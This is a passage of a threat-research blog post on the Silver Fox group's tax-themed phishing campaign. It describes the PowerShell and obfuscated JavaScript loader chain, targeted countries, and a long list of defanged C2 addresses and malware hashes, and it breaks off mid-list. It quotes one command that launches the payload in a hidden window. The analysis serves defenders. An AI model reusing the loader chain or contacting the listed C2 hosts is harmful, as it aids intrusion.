srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2.png 1055w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-300x81.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-1024x277.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-768x207.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-740x200.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-1036x280.png 1036w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225707\/silver-fox2-800x216.png 800w\" sizes=\"auto, (max-width: 1055px) 100vw, 1055px\"><\/a><\/p>\n<p id=\"caption-attachment-119597\" class=\"wp-caption-text\">The run_direct.ps1 script<\/p>\n<\/div>\n<p>The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim\u2019s computer (%USERPROFILE%.nodenode.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js \u2013 also located in the SFX archive \u2013 using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:<\/p>\n<div id=\"attachment_119598\" style=\"width: 643px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225745\/silver-fox5.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119598\" class=\"size-full wp-image-119598\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225745\/silver-fox5.png\" alt=\"Decrypted configuration for the JS loader\" width=\"633\" height=\"304\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225745\/silver-fox5.png 633w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225745\/silver-fox5-300x144.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225745\/silver-fox5-583x280.png 583w\" sizes=\"auto, (max-width: 633px) 100vw, 633px\"><\/a><\/p>\n<p id=\"caption-attachment-119598\" class=\"wp-caption-text\">Decrypted configuration for the JS loader<\/p>\n<\/div>\n<p>The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:SoftwareCarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%appclient_YYYYMMDDHHMMSS.zip (or \/tmp on Linux). The script extracts this archive to the %USERPROFILE%AppDataLocalappclient directory (%HOME%\/AppData\/Local\/appclient on Linux) and launches it by running <code>cmd \/c start \/min python\/pythonw.exe -m appclient<\/code> in background mode with a hidden window. After extraction, the script deletes the ZIP archive.<\/p>\n<p>Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:<\/p>\n<div id=\"attachment_119596\" style=\"width: 1172px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119596\" class=\"size-full wp-image-119596\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17.png\" alt=\"Log fragments gathered from throughout the JS code\" width=\"1162\" height=\"197\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17.png 1162w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17-300x51.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17-1024x174.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17-768x130.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17-740x125.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28225623\/silver-fox17-800x136.png 800w\" sizes=\"auto, (max-width: 1162px) 100vw, 1162px\"><\/a><\/p>\n<p id=\"caption-attachment-119596\" class=\"wp-caption-text\">Log fragments gathered from throughout the JS code<\/p>\n<\/div>\n<h2 id=\"victims\">Victims<\/h2>\n<p>As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries \u2013 with the exception of Cambodia \u2013 have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.<\/p>\n<div class=\"js-infogram-embed\" data-id=\"_\/JxipnHwF7XqwvphvUGqB\" data-type=\"interactive\" data-title=\"01 - EN Silver Fox target\" style=\"min-height:;\"><\/div>\n<\/p>\n<p><center><strong><em>Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (<a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28230108\/silver-fox23EN.png\">download<\/a><\/em><\/strong><\/center>)<\/p>\n<p>The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox <a href=\"https:\/\/www.welivesecurity.com\/en\/business-security\/cunning-predator-how-silver-fox-preys-japanese-firms-tax-season\/\" target=\"_blank\" rel=\"noopener\">has been sending emails on behalf of the tax authorities in Japan<\/a> has also been reported by our industry peers.<\/p>\n<h2 id=\"conclusion\">Conclusion<\/h2>\n<p>In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.<\/p>\n<p>During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions \u2013 including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware\u2019s configuration. Theoretically, the group could add other countries to this list in the future.<\/p>\n<p>The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.<\/p>\n<h2 id=\"indicators-of-compromise\">Indicators of compromise<\/h2>\n<p><strong>Network indicators:<\/strong><br \/>\nABCDoor C2<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/45.118.133.203\/?icid=gl_sl_opentip-lnk_sm-team_548f86bb34b1d9c5&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">45.118.133[.]203:5000<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.fetish-friends.com\/?icid=gl_sl_opentip-lnk_sm-team_e5f68477f00847fa&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.fetish-friends[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.3mkorealtd.com\/?icid=gl_sl_opentip-lnk_sm-team_821d0a1f5cbe951f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.3mkorealtd[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.sudsmama.com\/?icid=gl_sl_opentip-lnk_sm-team_ec812100d3a6827e&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.sudsmama[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.woopami.com\/?icid=gl_sl_opentip-lnk_sm-team_923dac679e805efd&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.woopami[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.ilptour.com\/?icid=gl_sl_opentip-lnk_sm-team_e2c54cc0176182c0&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.ilptour[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.petitechanson.com\/?icid=gl_sl_opentip-lnk_sm-team_77f475de0e9e6e95&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.petitechanson[.]com<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.doublemobile.com\/?icid=gl_sl_opentip-lnk_sm-team_c4640f39be84c86f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.doublemobile[.]com<\/a><\/p>\n<p>ABCDoor loader C2s<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/mcagov.cc\/?icid=gl_sl_opentip-lnk_sm-team_9ff81e4ce6d0eced&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">mcagov[.]cc<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/roldco.com\/?icid=gl_sl_opentip-lnk_sm-team_9bf8098d3b3db445&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">roldco[.]com<\/a><\/p>\n<p>C2s for malicious remote control utilities<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/vnc.kcii2.com\/?icid=gl_sl_opentip-lnk_sm-team_9bd1ecb3e0270b2d&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">vnc.kcii2[.]com<\/a><\/p>\n<p>Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/abc.haijing88.com\/?icid=gl_sl_opentip-lnk_sm-team_7fdd3938845dc312&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">abc.haijing88[.]com<\/a><\/p>\n<p>ValleyRAT C2<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/108.187.37.85\/?icid=gl_sl_opentip-lnk_sm-team_24956031068ff768&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">108.187.37[.]85<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/108.187.42.63\/?icid=gl_sl_opentip-lnk_sm-team_db7bcaf38a5d88ae&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">108.187.42[.]63<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/207.56.138.28\/?icid=gl_sl_opentip-lnk_sm-team_f4d0728dda9b76f2&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">207.56.138[.]28<\/a><\/p>\n<p>IP addresses<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/108.187.41.221\/?icid=gl_sl_opentip-lnk_sm-team_2a5600079f873ff4&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">108.187.41[.]221<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/154.82.81.192\/?icid=gl_sl_opentip-lnk_sm-team_f9a76586c4ab5599&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">154.82.81[.]192<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/139.180.128.251\/?icid=gl_sl_opentip-lnk_sm-team_7bed6aecfa038a93&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">139.180.128[.]251<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/192.229.115.229\/?icid=gl_sl_opentip-lnk_sm-team_9d39d37f6deb571b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">192.229.115[.]229<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/207.56.119.216\/?icid=gl_sl_opentip-lnk_sm-team_5c1e5f2dbba8ed19&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">207.56.119[.]216<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/192.163.167.14\/?icid=gl_sl_opentip-lnk_sm-team_93a57bdf6f774671&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">192.163.167[.]14<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/45.192.219.60\/?icid=gl_sl_opentip-lnk_sm-team_3364dd4a74f7b1ff&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">45.192.219[.]60<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/192.238.205.47\/?icid=gl_sl_opentip-lnk_sm-team_0dfc911ca66f4a9e&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">192.238.205[.]47<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/45.32.108.178\/?icid=gl_sl_opentip-lnk_sm-team_9689e5bb6fa9a9b3&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">45.32.108[.]178<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/57.133.212.106\/?icid=gl_sl_opentip-lnk_sm-team_eb9943797d14072a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">57.133.212[.]106<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/154.82.81.205\/?icid=gl_sl_opentip-lnk_sm-team_748526c6e38d9f7a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">154.82.81[.]205<\/a><\/p>\n<p><strong>Hashes<\/strong><br \/>\nPhishing PDF files<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/1aa72cd19e37570e14d898dff3f2e380\/?icid=gl_sl_opentip-lnk_sm-team_c6f68d8cb33b6842&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">1AA72CD19E37570E14D898DFF3F2E380<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/79cd56fc9abf294b9ba8751e618ec642\/?icid=gl_sl_opentip-lnk_sm-team_ff0d3245fb4d7e18&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">79CD56FC9ABF294B9BA8751E618EC642<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/0b9b420e3edd2ade5edc44f60ca745a2\/?icid=gl_sl_opentip-lnk_sm-team_45c2998b41da7a0c&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">0B9B420E3EDD2ADE5EDC44F60CA745A2<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/6611e902945e97a1b27f322a50566d48\/?icid=gl_sl_opentip-lnk_sm-team_7e8fba175658b851&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">6611E902945E97A1B27F322A50566D48<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/84e54c3602d8240ed905b07217c451cd\/?icid=gl_sl_opentip-lnk_sm-team_cafd3b059a35f2f3&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">84E54C3602D8240ED905B07217C451CD<\/a><\/p>\n<p>SFX archives containing ABCDoor JavaScript loader<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/2b92e125184469a0c3740abcaa10350c\/?icid=gl_sl_opentip-lnk_sm-team_e1b3ea1fde32c4db&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">2B92E125184469A0C3740ABCAA10350C<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/043e457726f1bbb6046cb0c9869dbd7d\/?icid=gl_sl_opentip-lnk_sm-team_61496c74d4e64855&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">043E457726F1BBB6046CB0C9869DBD7D<\/a><\/p>\n<p>ZIP archives containing malicious SFX archives<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/6495c409b59deb72cfcb2b2da983b3bb\/?icid=gl_sl_opentip-lnk_sm-team_7b065df7aab9966b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">6495C409B59DEB72CFCB2B2DA983B3BB<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b500e0a8c87dffe6f20c6e067b51afbf\/?icid=gl_sl_opentip-lnk_sm-team_a727946b1cc481a6&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">B500E0A8C87DFFE6F20C6E067B51AFBF<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/90257aa1e7c9118055c09d4a978d4bee\/?icid=gl_sl_opentip-lnk_sm-team_69364e6b574702d8&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">90257AA1E7C9118055C09D4A978D4BEE<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/f8371097121549feb21e3bcc2eeea522\/?icid=gl_sl_opentip-lnk_sm-team_6037777fc74205b3&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">F8371097121549FEB21E3BCC2EEEA522<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/814032eec3bc31643f8faa4234d0e049\/?icid=gl_sl_opentip-lnk_sm-team_de12760b0878b5c9&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">814032EEC3BC31643F8FAA4234D0E049<\/a><\/p>\n<p>run.deobfuscated.obf.js<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b53e3cc11947e5645dfbb19934b69833\/?icid=gl_sl_opentip-lnk_sm-team_e618433e878bfce2&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">B53E3CC11947E5645DFBB19934B69833<\/a><\/p>\n<p>run_direct.ps1<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/0c3b60ffc4ea9ccce744bfa03b1a3556\/?icid=gl_sl_opentip-lnk_sm-team_189ff567e46b0cf8&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">0C3B60FFC4EA9CCCE744BFA03B1A3556<\/a><\/p>\n<p>Silver Fox RustSL loaders<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/039e93b98ef5e329f8666a424237ae73\/?icid=gl_sl_opentip-lnk_sm-team_361f3ae5e7748f5f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">039E93B98EF5E329F8666A424237AE73<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b6df7c59756ab655ca752b8a1b20cffa\/?icid=gl_sl_opentip-lnk_sm-team_64fbc0830d2e262a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">B6DF7C59756AB655CA752B8A1B20CFFA<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/5390e8bf7131caaaa98a5dd63e27b2bc\/?icid=gl_sl_opentip-lnk_sm-team_2a387afcf191fc03&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">5390E8BF7131CAAAA98A5DD63E27B2BC<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/44299a368000ae1ee9e9e584377b8757\/?icid=gl_sl_opentip-lnk_sm-team_9010f07553c5aad8&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">44299A368000AE1EE9E9E584377B8757<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/e5e8ef65b4d265bd5fb77fe165131c2f\/?icid=gl_sl_opentip-lnk_sm-team_585b3b3244a4e301&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">E5E8EF65B4D265BD5FB77FE165131C2F<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/3279307508f3e5fb3a2420dec645f583\/?icid=gl_sl_opentip-lnk_sm-team_4ed97111cfd2ed4f&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">3279307508F3E5FB3A2420DEC645F583<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/1020497bef56f4181aefb7a0a9873fb4\/?icid=gl_sl_opentip-lnk_sm-team_9e44926be420a5d6&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">1020497BEF56F4181AEFB7A0A9873FB4<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b23d302b7f23453c98c11ca7b2e4616e\/?icid=gl_sl_opentip-lnk_sm-team_29c0bb5dce7ca4ed&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\">B23D302B7F23453C98C11CA7B2E4616E<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/a234850dfdfd7ee128f648f9750dd2c4\/?icid=gl_sl_opentip-lnk_sm-team_de52e4b039a49253&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">A234850DFDFD7EE128F648F9750DD2C4<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/4fc5ec1de89ce3fcdd3e70db4a9c39d1\/?icid=gl_sl_opentip-lnk_sm-team_2a7c4a3daeef70e7&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">4FC5EC1DE89CE3FCDD3E70DB4A9C39D1<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/a0d1223ca4327aa5f7674bda8779323f\/?icid=gl_sl_opentip-lnk_sm-team_114e324eeccf8f38&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">A0D1223CA4327AA5F7674BDA8779323F<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/70ae9ca2a285da9005a8acb32dd31ace\/?icid=gl_sl_opentip-lnk_sm-team_14141db77ef60900&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">70AE9CA2A285DA9005A8ACB32DD31ACE<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/dd0114ffacc6610b5a4a1cb0e79624cc\/?icid=gl_sl_opentip-lnk_sm-team_8eac8c0d9cd03315&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">DD0114FFACC6610B5A4A1CB0E79624CC<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/891de2ff486a1824f2db01c1bdf1d2e9\/?icid=gl_sl_opentip-lnk_sm-team_76085fa1e79f7eae&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">891DE2FF486A1824F2DB01C1BDF1D2E9<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b0e06925db5416dfc90babf46402cd6f\/?icid=gl_sl_opentip-lnk_sm-team_da7cdfd837e1a725&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">B0E06925DB5416DFC90BABF46402CD6F<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/ad39a5790b79178d02ac739099b8e1f4\/?icid=gl_sl_opentip-lnk_sm-team_ec4fbfa362c3ef16&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">AD39A5790B79178D02AC739099B8E1F4<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/d1d78cd1436991adb9c005cc7c6b5b98\/?icid=gl_sl_opentip-lnk_sm-team_6f94b13c34d65ebe&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">D1D78CD1436991ADB9C005CC7C6B5B98<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/2c5a1dd4cb53287fe0ed14e0b7b7b1b7\/?icid=gl_sl_opentip-lnk_sm-team_3c5798c6e8bd61b9&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">2C5A1DD4CB53287FE0ED14E0B7B7B1B7<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/e6362a81991323e198a463a8ce255533\/?icid=gl_sl_opentip-lnk_sm-team_4ed68b01a7cb1025&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">E6362A81991323E198A463A8CE255533<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/cb3d86e3ec2736ee1c883706fca172f8\/?icid=gl_sl_opentip-lnk_sm-team_633730bcbfd42b79&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">CB3D86E3EC2736EE1C883706FCA172F8<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/a083c546dc66b0f2a5e0e2e68032f62c\/?icid=gl_sl_opentip-lnk_sm-team_b5a765dc068c0ea7&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">A083C546DC66B0F2A5E0E2E68032F62C<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/70016ddbcb8543bdb06e0f8c509ee980\/?icid=gl_sl_opentip-lnk_sm-team_e2846dd900de9dd5&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">70016DDBCB8543BDB06E0F8C509EE980<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/8fc911ca37f9f451a213b967f016f1f8\/?icid=gl_sl_opentip-lnk_sm-team_36404b7403029156&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">8FC911CA37F9F451A213B967F016F1F8<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/202a5bcb87c34993318cfa3fa0c7ecb0\/?icid=gl_sl_opentip-lnk_sm-team_760c0573a4f22539&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">202A5BCB87C34993318CFA3FA0C7ECB0<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/06130dc648621e93acb9efb9fabb9651\/?icid=gl_sl_opentip-lnk_sm-team_b2f0742e3a5a0b3a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">06130DC648621E93ACB9EFB9FABB9651<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/f7037cc9a5659d5a1f68e88582242375\/?icid=gl_sl_opentip-lnk_sm-team_814bb39910e9df0b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">F7037CC9A5659D5A1F68E88582242375<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/8ac5bee89436b29f9817e434507fef55\/?icid=gl_sl_opentip-lnk_sm-team_df2e283df78915a8&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">8AC5BEE89436B29F9817E434507FEF55<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/5ed84b2099e220d645934e1fd552ae3a\/?icid=gl_sl_opentip-lnk_sm-team_a510e8fd58faf5ab&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">5ED84B2099E220D645934E1FD552AE3A<\/a><br \/>\n<a 